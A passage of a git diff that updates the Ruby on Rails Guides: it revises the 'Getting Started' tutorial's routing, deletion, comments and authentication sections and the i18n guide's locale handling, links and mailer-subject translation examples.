<h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2> <ul> @@ -1006,17 +1199,22 @@ content: ``` Everything except for the `form_for` declaration remained the same. -How `form_for` can figure out the right `action` and `method` attributes -when building the form will be explained in just a moment. For now, let's update the -`app/views/posts/new.html.erb` view to use this new partial, rewriting it -completely: +The reason we can use this shorter, simpler `form_for` declaration +to stand in for either of the other forms is that `@post` is a *resource* +corresponding to a full set of RESTful routes, and Rails is able to infer +which URI and method to use. +For more information about this use of `form_for`, see +[Resource-oriented style](//api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for-label-Resource-oriented+style). + +Now, let's update the `app/views/posts/new.html.erb` view to use this new +partial, rewriting it completely: ```html+erb <h1>New post</h1> <%= render 'form' %> -<%= link_to 'Back', action: :index %> +<%= link_to 'Back', posts_path %> ``` Then do the same for the `app/views/posts/edit.html.erb` view: @@ -1026,66 +1224,17 @@ Then do the same for the `app/views/posts/edit.html.erb` view: <%= render 'form' %> -<%= link_to 'Back', action: :index %> -``` - -Point your browser to <http://localhost:3000/posts/new> and -try creating a new post. Everything still works. Now try editing the -post and you'll receive the following error: - -![Undefined method post_path](images/getting_started/undefined_method_post_path.png) - -To understand this error, you need to understand how `form_for` works. -When you pass an object to `form_for` and you don't specify a `:url` -option, Rails will try to guess the `action` and `method` options by -checking if the passed object is a new record or not. Rails follows the -REST convention, so to create a new `Post` object it will look for a -route named `posts_path`, and to update a `Post` object it will look for -a route named `post_path` and pass the current object. Similarly, rails -knows that it should create new objects via POST and update them via -PUT. - -If you run `rake routes` from the console you'll see that we already -have a `posts_path` route, which was created automatically by Rails when we -defined the route for the index action. -However, we don't have a `post_path` yet, which is the reason why we -received an error before. With your server running you can view your routes by visiting [localhost:3000/rails/info/routes](http://localhost:3000/rails/info/routes), or you can generate them from the command line by running `rake routes`: - -```bash -$ rake routes - - posts GET /posts(.:format) posts#index -posts_new GET /posts/new(.:format) posts#new - POST /posts(.:format) posts#create - GET /posts/:id(.:format) posts#show - GET /posts/:id/edit(.:format) posts#edit - PUT /posts/:id(.:format) posts#update - root / welcome#index +<%= link_to 'Back', posts_path %> ``` -To fix this, open `config/routes.rb` and modify the `get "posts/:id"` -line like this: - -```ruby -get "posts/:id" => "posts#show", as: :post -``` - -The `:as` option tells the `get` method that we want to make routing helpers -called `post_url` and `post_path` available to our application. These are -precisely the methods that the `form_for` needs when editing a post, and so now -you'll be able to update posts again. - -NOTE: The `:as` option is available on the `post`, `patch`, `put`, `delete` and `match` -routing methods also. - ### Deleting Posts We're now ready to cover the "D" part of CRUD, deleting posts from the -database. Following the REST convention, we're going to add a route for -deleting posts to `config/routes.rb`: +database. Following the REST convention, the route for +deleting posts as per output of `rake routes` is: ```ruby -delete "posts/:id" => "posts#destroy" +DELETE /posts/:id(.:format) posts#destroy ``` The `delete` routing method should be used for routes that destroy @@ -1097,15 +1246,15 @@ people to craft malicious URLs like this: ``` We use the `delete` method for destroying resources, and this route is mapped to -the `destroy` action inside `app/controllers/posts_controller.rb`, which doesn't exist yet, but is -provided below: +the `destroy` action inside `app/controllers/posts_controller.rb`, which doesn't +exist yet, but is provided below: ```ruby def destroy @post = Post.find(params[:id]) @post.destroy - redirect_to action: :index + redirect_to posts_path end ``` @@ -1113,108 +1262,57 @@ You can call `destroy` on Active Record objects when you want to delete them from the database. Note that we don't need to add a view for this action since we're redirecting to the `index` action. -Finally, add a 'destroy' link to your `index` action template +Finally, add a 'Destroy' link to your `index` action template (`app/views/posts/index.html.erb`) to wrap everything together. ```html+erb <h1>Listing Posts</h1> +<%= link_to 'New post', new_post_path %> <table> <tr> <th>Title</th> <th>Text</th> - <th></th> - <th></th> - <th></th> + <th colspan="3"></th> </tr> <% @posts.each do |post| %> <tr> <td><%= post.title %></td> <td><%= post.text %></td> - <td><%= link_to 'Show', action: :show, id: post.id %></td> - <td><%= link_to 'Edit', action: :edit, id: post.id %></td> - <td><%= link_to 'Destroy', { action: :destroy, id: post.id }, + <td><%= link_to 'Show', post_path(post) %></td> + <td><%= link_to 'Edit', edit_post_path(post) %></td> + <td><%= link_to 'Destroy', post_path(post), method: :delete, data: { confirm: 'Are you sure?' } %></td> </tr> <% end %> </table> ``` -Here we're using `link_to` in a different way. We wrap the -`:action` and `:id` attributes in a hash so that we can pass those two keys in -first as one argument, and then the final two keys as another argument. The `:method` and `:'data-confirm'` -options are used as HTML5 attributes so that when the link is clicked, -Rails will first show a confirm dialog to the user, and then submit the link with method `delete`. -This is done via the JavaScript file `jquery_ujs` which is automatically included -into your application's layout (`app/views/layouts/application.html.erb`) when you -generated the application. Without this file, the confirmation dialog box wouldn't appear. +Here we're using `link_to` in a different way. We pass the named route as the +second argument, and then the options as another argument. The `:method` and +`:'data-confirm'` options are used as HTML5 attributes so that when the link is +clicked, Rails will first show a confirm dialog to the user, and then submit the +link with method `delete`. This is done via the JavaScript file `jquery_ujs` +which is automatically included into your application's layout +(`app/views/layouts/application.html.erb`) when you generated the application. +Without this file, the confirmation dialog box wouldn't appear. ![Confirm Dialog](images/getting_started/confirm_dialog.png) Congratulations, you can now create, show, list, update and destroy -posts. In the next section will see how Rails can aid us when creating -REST applications, and how we can refactor our Blog app to take -advantage of it. - -### Going Deeper into REST - -We've now covered all the CRUD actions of a REST app. We did so by -declaring separate routes with the appropriate verbs into -`config/routes.rb`. Here's how that file looks so far: - -```ruby -get "posts" => "posts#index" -get "posts/new" -post "posts" => "posts#create" -get "posts/:id" => "posts#show", as: :post -get "posts/:id/edit" => "posts#edit" -patch "posts/:id" => "posts#update" -delete "posts/:id" => "posts#destroy" -``` - -That's a lot to type for covering a single **resource**. Fortunately, -Rails provides a `resources` method which can be used to declare a -standard REST resource. Here's how `config/routes.rb` looks after the -cleanup: - -```ruby -Blog::Application.routes.draw do - - resources :posts - - root to: "welcome#index" -end -``` - -If you run `rake routes`, you'll see that all the routes that we -declared before are still available: - -```bash -$ rake routes - posts GET /posts(.:format) posts#index - POST /posts(.:format) posts#create - new_post GET /posts/new(.:format) posts#new -edit_post GET /posts/:id/edit(.:format) posts#edit - post GET /posts/:id(.:format) posts#show - PUT /posts/:id(.:format) posts#update - DELETE /posts/:id(.:format) posts#destroy - root / welcome#index -``` - -Also, if you go through the motions of creating, updating and deleting -posts the app still works as before. +posts. TIP: In general, Rails encourages the use of resources objects in place -of declaring routes manually. It was only done in this guide as a learning -exercise. For more information about routing, see +of declaring routes manually. +For more information about routing, see [Rails Routing from the Outside In](routing.html). Adding a Second Model --------------------- -It's time to add a second model to the application. The second model will handle comments on -posts. +It's time to add a second model to the application. The second model will handle +comments on posts. ### Generating a Model @@ -1243,7 +1341,7 @@ class Comment < ActiveRecord::Base end ``` -This is very similar to the `post.rb` model that you saw earlier. The difference +This is very similar to the `Post` model that you saw earlier. The difference is the line `belongs_to :post`, which sets up an Active Record _association_. You'll learn a little about associations in the next section of this guide. @@ -1256,19 +1354,17 @@ class CreateComments < ActiveRecord::Migration create_table :comments do |t| t.string :commenter t.text :body - t.references :post + t.references :post, index: true t.timestamps end - - add_index :comments, :post_id end end ``` The `t.references` line sets up a foreign key column for the association between -the two models. And the `add_index` line sets up an index for this association -column. Go ahead and run the migration: +the two models. An index for this association is also created on this column. +Go ahead and run the migration: ```bash $ rake db:migrate @@ -1280,10 +1376,8 @@ run against the current database, so in this case you will just see: ```bash == CreateComments: migrating ================================================= -- create_table(:comments) - -> 0.0008s --- add_index(:comments, :post_id) - -> 0.0003s -== CreateComments: migrated (0.0012s) ======================================== + -> 0.0115s +== CreateComments: migrated (0.0119s) ======================================== ``` ### Associating Models @@ -1296,8 +1390,8 @@ this way: * One post can have many comments. In fact, this is very close to the syntax that Rails uses to declare this -association. You've already seen the line of code inside the `Comment` model (app/models/comment.rb) that -makes each comment belong to a Post: +association. You've already seen the line of code inside the `Comment` model +(app/models/comment.rb) that makes each comment belong to a Post: ```ruby class Comment < ActiveRecord::Base @@ -1312,7 +1406,6 @@ class Post < ActiveRecord::Base has_many :comments validates :title, presence: true, length: { minimum: 5 } - [...] end ``` @@ -1385,11 +1478,11 @@ So first, we'll wire up the Post show template <h2>Add a comment:</h2> <%= form_for([@post, @post.comments.build]) do |f| %> <p> - <%= f.label :commenter %><br /> + <%= f.label :commenter %><br> <%= f.text_field :commenter %> </p> <p> - <%= f.label :body %><br /> + <%= f.label :body %><br> <%= f.text_area :body %> </p> <p> @@ -1397,8 +1490,8 @@ So first, we'll wire up the Post show template </p> <% end %> -<%= link_to 'Edit Post', edit_post_path(@post) %> | -<%= link_to 'Back to Posts', posts_path %> +<%= link_to 'Back', posts_path %> +| <%= link_to 'Edit', edit_post_path(@post) %> ``` This adds a form on the `Post` show page that creates a new comment by @@ -1411,9 +1504,14 @@ Let's wire up the `create` in `app/controllers/comments_controller.rb`: class CommentsController < ApplicationController def create @post = Post.find(params[:post_id]) - @comment = @post.comments.create(params[:comment].permit(:commenter, :body)) + @comment = @post.comments.create(comment_params) redirect_to post_path(@post) end + + private + def comment_params + params.require(:comment).permit(:commenter, :body) + end end ``` @@ -1460,11 +1558,11 @@ template. This is where we want the comment to show, so let's add that to the <h2>Add a comment:</h2> <%= form_for([@post, @post.comments.build]) do |f| %> <p> - <%= f.label :commenter %><br /> + <%= f.label :commenter %><br> <%= f.text_field :commenter %> </p> <p> - <%= f.label :body %><br /> + <%= f.label :body %><br> <%= f.text_area :body %> </p> <p> @@ -1526,11 +1624,11 @@ following: <h2>Add a comment:</h2> <%= form_for([@post, @post.comments.build]) do |f| %> <p> - <%= f.label :commenter %><br /> + <%= f.label :commenter %><br> <%= f.text_field :commenter %> </p> <p> - <%= f.label :body %><br /> + <%= f.label :body %><br> <%= f.text_area :body %> </p> <p> @@ -1556,11 +1654,11 @@ create a file `app/views/comments/_form.html.erb` containing: ```html+erb <%= form_for([@post, @post.comments.build]) do |f| %> <p> - <%= f.label :commenter %><br /> + <%= f.label :commenter %><br> <%= f.text_field :commenter %> </p> <p> - <%= f.label :body %><br /> + <%= f.label :body %><br> <%= f.text_area :body %> </p> <p> @@ -1604,8 +1702,8 @@ Deleting Comments ----------------- Another important feature of a blog is being able to delete spam comments. To do -this, we need to implement a link of some sort in the view and a `DELETE` action -in the `CommentsController`. +this, we need to implement a link of some sort in the view and a `destroy` +action in the `CommentsController`. So first, let's add the delete link in the `app/views/comments/_comment.html.erb` partial: @@ -1630,15 +1728,14 @@ So first, let's add the delete link in the Clicking this new "Destroy Comment" link will fire off a `DELETE /posts/:post_id/comments/:id` to our `CommentsController`, which can then use -this to find the comment we want to delete, so let's add a destroy action to our +this to find the comment we want to delete, so let's add a `destroy` action to our controller (`app/controllers/comments_controller.rb`): ```ruby class CommentsController < ApplicationController - def create @post = Post.find(params[:post_id]) - @comment = @post.comments.create(params[:comment]) + @comment = @post.comments.create(comment_params) redirect_to post_path(@post) end @@ -1649,6 +1746,10 @@ class CommentsController < ApplicationController redirect_to post_path(@post) end + private + def comment_params + params.require(:comment).permit(:commenter, :body) + end end ``` @@ -1669,13 +1770,14 @@ class Post < ActiveRecord::Base has_many :comments, dependent: :destroy validates :title, presence: true, length: { minimum: 5 } - [...] end ``` Security -------- +### Basic Authentication + If you were to publish your blog online, anybody would be able to add, edit and delete posts or delete comments. @@ -1715,13 +1817,27 @@ class CommentsController < ApplicationController @post = Post.find(params[:post_id]) ... end + # snipped for brevity ``` Now if you try to create a new post, you will be greeted with a basic HTTP Authentication challenge -![Basic HTTP Authentication Challenge](images/challenge.png) +![Basic HTTP Authentication Challenge](images/getting_started/challenge.png) + +Other authentication methods are available for Rails applications. Two popular +authentication add-ons for Rails are the [Devise](https://github.com/plataformatec/devise) +rails engine and the [Authlogic](https://github.com/binarylogic/authlogic) gem, +along with a number of others. + + +### Other Security Considerations + +Security, especially in web applications, is a broad and detailed area. Security +in your Rails application is covered in more depth in +The [Ruby on Rails Security Guide](security.html) + What's Next? ------------ @@ -1736,12 +1852,19 @@ free to consult these support resources: * The [Ruby on Rails mailing list](http://groups.google.com/group/rubyonrails-talk) * The [#rubyonrails](irc://irc.freenode.net/#rubyonrails) channel on irc.freenode.net -Rails also comes with built-in help that you can generate using the rake command-line utility: +Rails also comes with built-in help that you can generate using the rake +command-line utility: -* Running `rake doc:guides` will put a full copy of the Rails Guides in the `doc/guides` folder of your application. Open `doc/guides/index.html` in your web browser to explore the Guides. -* Running `rake doc:rails` will put a full copy of the API documentation for Rails in the `doc/api` folder of your application. Open `doc/api/index.html` in your web browser to explore the API documentation. +* Running `rake doc:guides` will put a full copy of the Rails Guides in the + `doc/guides` folder of your application. Open `doc/guides/index.html` in your + web browser to explore the Guides. +* Running `rake doc:rails` will put a full copy of the API documentation for + Rails in the `doc/api` folder of your application. Open `doc/api/index.html` + in your web browser to explore the API documentation. -TIP: To be able to generate the Rails Guides locally with the `doc:guides` rake task you need to install the RedCloth gem. Add it to your `Gemfile` and run `bundle install` and you're ready to go. +TIP: To be able to generate the Rails Guides locally with the `doc:guides` rake +task you need to install the RedCloth gem. Add it to your `Gemfile` and run +`bundle install` and you're ready to go. Configuration Gotchas --------------------- @@ -1767,7 +1890,7 @@ Two very common sources of data that are not UTF-8: in the browser. This also applies to your i18n translation files. Most editors that do not already default to UTF-8 (such as some versions of Dreamweaver) offer a way to change the default to UTF-8. Do so. -* Your database. Rails defaults to converting data from your database into UTF-8 at +* Your database: Rails defaults to converting data from your database into UTF-8 at the boundary. However, if your database is not using UTF-8 internally, it may not be able to store all characters that your users enter. For instance, if your database is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese diff --git a/guides/source/i18n.md b/guides/source/i18n.md index 5304ca4285..156ec7435c 100644 --- a/guides/source/i18n.md +++ b/guides/source/i18n.md @@ -13,17 +13,22 @@ So, in the process of _internationalizing_ your Rails application you have to: In the process of _localizing_ your application you'll probably want to do the following three things: -* Replace or supplement Rails' default locale — e.g. date and time formats, month names, Active Record model names, etc. -* Abstract strings in your application into keyed dictionaries — e.g. flash messages, static text in your views, etc. +* Replace or supplement Rails' default locale - e.g. date and time formats, month names, Active Record model names, etc. +* Abstract strings in your application into keyed dictionaries - e.g. flash messages, static text in your views, etc. * Store the resulting dictionaries somewhere. This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start. After reading this guide, you will know: +* How I18n works in Ruby on Rails +* How to correctly use I18n into a RESTful application in various ways +* How to use I18n to translate ActiveRecord errors or ActionMailer E-mail subjects +* Some other tools to go further with the translation process of your application + -------------------------------------------------------------------------------- -NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails [I18n Wiki](http://rails-i18n.org/wiki) for more information. +NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Ruby [I18n Wiki](http://ruby-i18n.org/wiki) for more information. How I18n in Ruby on Rails Works ------------------------------- @@ -33,13 +38,13 @@ Internationalization is a complex problem. Natural languages differ in so many w * providing support for English and similar languages out of the box * making it easy to customize and extend everything for other languages -As part of this solution, **every static string in the Rails framework** — e.g. Active Record validation messages, time and date formats — **has been internationalized**, so _localization_ of a Rails application means "over-riding" these defaults. +As part of this solution, **every static string in the Rails framework** - e.g. Active Record validation messages, time and date formats - **has been internationalized**, so _localization_ of a Rails application means "over-riding" these defaults. ### The Overall Architecture of the Library Thus, the Ruby I18n gem is split into two parts: -* The public API of the i18n framework — a Ruby module with public methods that define how the library works +* The public API of the i18n framework - a Ruby module with public methods that define how the library works * A default backend (which is intentionally named _Simple_ backend) that implements these methods As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend. @@ -92,11 +97,11 @@ en: hello: "Hello world" ``` -This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the [`activerecord/lib/active_record/locale/en.yml`](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml) file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend. +This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Model validation messages in the [`activemodel/lib/active_model/locale/en.yml`](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml) file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml) file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend. The I18n library will use **English** as a **default locale**, i.e. if you don't set a different locale, `:en` will be used for looking up translations. -NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize3](https://github.com/svenfuchs/globalize3) may help you implement it. +NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize3](https://github.com/globalize/globalize) may help you implement it. The **translations load path** (`I18n.load_path`) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you. @@ -132,7 +137,7 @@ If you want to translate your Rails application to a **single language other tha However, you would probably like to **provide support for more locales** in your application. In such case, you need to set and pass the locale between requests. -WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>, however **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [<em>RESTful</em>](http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below. +WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>, however **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [<em>RESTful</em>](http://en.wikipedia.org/wiki/Representational_State_Transfer). Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below. The _setting part_ is easy. You can set the locale in a `before_action` in the `ApplicationController` like this: @@ -174,7 +179,7 @@ end # in your /etc/hosts file to try this out locally def extract_locale_from_tld parsed_locale = request.host.split('.').last - I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil + I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil end ``` @@ -253,16 +258,16 @@ You would probably need to map URLs like these: ```ruby # config/routes.rb -match '/:locale' => 'dashboard#index' +get '/:locale' => 'dashboard#index' ``` Do take special care about the **order of your routes**, so this route declaration does not "eat" other ones. (You may want to add it directly before the `root :to` declaration.) -NOTE: Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's [translate_routes](https://github.com/raul/translate_routes/tree/master). +NOTE: Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master) and Raul Murciano's [translate_routes](https://github.com/raul/translate_routes/tree/master). ### Setting the Locale from the Client Supplied Information -In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites — see the box about _sessions_, _cookies_ and RESTful architecture above. +In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites - see the box about _sessions_, _cookies_ and RESTful architecture above. #### Using `Accept-Language` @@ -277,21 +282,22 @@ def set_locale I18n.locale = extract_locale_from_accept_language_header logger.debug "* Locale set to '#{I18n.locale}'" end + private -def extract_locale_from_accept_language_header - request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first -end + def extract_locale_from_accept_language_header + request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first + end ``` -Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb). +Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master) or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb). #### Using GeoIP (or Similar) Database -Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry). The mechanics of the code would be very similar to the code above — you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned. +Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry). The mechanics of the code would be very similar to the code above - you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned. #### User Profile -You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above — you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value. +You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above - you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value. Internationalizing your Application ----------------------------------- @@ -310,6 +316,17 @@ end ``` ```ruby +# app/controllers/application_controller.rb +class ApplicationController < ActionController::Base + before_action :set_locale + + def set_locale + I18n.locale = params[:locale] || I18n.default_locale + end +end +``` + +```ruby # app/controllers/home_controller.rb class HomeController < ApplicationController def index @@ -394,7 +411,7 @@ en: ### Adding Date/Time Formats -OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option — by default the `:default` format is used. +OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option - by default the `:default` format is used. ```erb # app/views/home/index.html.erb @@ -417,7 +434,7 @@ So that would give you: ![rails i18n demo localized time to pirate](images/i18n/demo_localized_pirate.png) -TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by **translating Rails' defaults for your locale**. See the [rails-i18n repository at Github](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for an archive of various locale files. When you put such file(s) in `config/locales/` directory, they will automatically be ready for use. +TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by **translating Rails' defaults for your locale**. See the [rails-i18n repository at GitHub](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for an archive of various locale files. When you put such file(s) in `config/locales/` directory, they will automatically be ready for use. ### Inflection Rules For Other Locales @@ -475,12 +492,14 @@ Overview of the I18n API Features You should have good understanding of using the i18n library now, knowing all necessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth. +These chapters will show examples using both the `I18n.translate` method as well as the [`translate` view helper method](http://api.rubyonrails.org/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate) (noting the additional feature provide by the view helper method). + Covered are features like these: * looking up translations * interpolating data into translations * pluralizing translations -* using safe HTML translations +* using safe HTML translations (view helper method only) * localizing dates, numbers, currency, etc. ### Looking up Translations @@ -494,7 +513,7 @@ I18n.t :message I18n.t 'message' ``` -The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a “namespace” or scope for a translation key: +The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a "namespace" or scope for a translation key: ```ruby I18n.t :record_invalid, scope: [:activerecord, :errors, :messages] @@ -568,6 +587,8 @@ you can look up the `books.index.title` value **inside** `app/views/books/index. <%= t '.title' %> ``` +NOTE: Automatic translation scoping by partial is only available from the `translate` view helper method. + ### Interpolation In many cases you want to abstract your translations so that **variables can be interpolated into the translation**. For this reason the I18n API provides an interpolation feature. @@ -637,7 +658,7 @@ I18n.default_locale = :de ### Using Safe HTML Translations -Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping. +Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. When you use them in views the HTML will not be escaped. ```yaml # config/locales/en.yml @@ -656,6 +677,8 @@ en: <div><%= t('title.html') %></div> ``` +NOTE: Automatic conversion to HTML safe translate text is only available from the `translate` view helper method. + ![i18n demo html safe](images/i18n/demo_html_safe.png) How to Store your Custom Translations @@ -726,6 +749,19 @@ en: Then `User.model_name.human` will return "Dude" and `User.human_attribute_name("login")` will return "Handle". +You can also set a plural form for model names, adding as following: + +```ruby +en: + activerecord: + models: + user: + one: Dude + other: Dudes +``` + +Then `User.model_name.human(count: 2)` will return "Dudes". With `count: 1` or without params will return "Dude". + #### Error Message Scopes Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account. @@ -797,6 +833,7 @@ So, for example, instead of the default error message `"can not be blank"` you c | confirmation | - | :confirmation | - | | acceptance | - | :accepted | - | | presence | - | :blank | - | +| absence | - | :present | - | | length | :within, :in | :too_short | count | | length | :within, :in | :too_long | count | | length | :is | :wrong_length | count | @@ -813,6 +850,7 @@ So, for example, instead of the default error message `"can not be blank"` you c | numericality | :equal_to | :equal_to | count | | numericality | :less_than | :less_than | count | | numericality | :less_than_or_equal_to | :less_than_or_equal_to | count | +| numericality | :only_integer | :not_an_integer | - | | numericality | :odd | :odd | - | | numericality | :even | :even | - | @@ -837,21 +875,43 @@ en: NOTE: In order to use this helper, you need to install [DynamicForm](https://github.com/joelmoss/dynamic_form) gem by adding this line to your Gemfile: `gem 'dynamic_form'`. +### Translations for Action Mailer E-Mail Subjects + +If you don't pass a subject to the `mail` method, Action Mailer will try to find +it in your translations. The performed lookup will use the pattern +`<mailer_scope>.<action_name>.subject` to construct the key. + +```ruby +# user_mailer.rb +class UserMailer < ActionMailer::Base + def welcome(user) + #... + end +end +``` + +```yaml +en: + user_mailer: + welcome: + subject: "Welcome to Rails Guides!" +``` + ### Overview of Other Built-In Methods that Provide I18n Support Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview. #### Action View Helper Methods -* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51) translations. +* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L4) translations. -* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the [datetime.prompts](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83) scope if applicable. +* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the [datetime.prompts](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L39) scope if applicable. -* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2) scope. +* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the 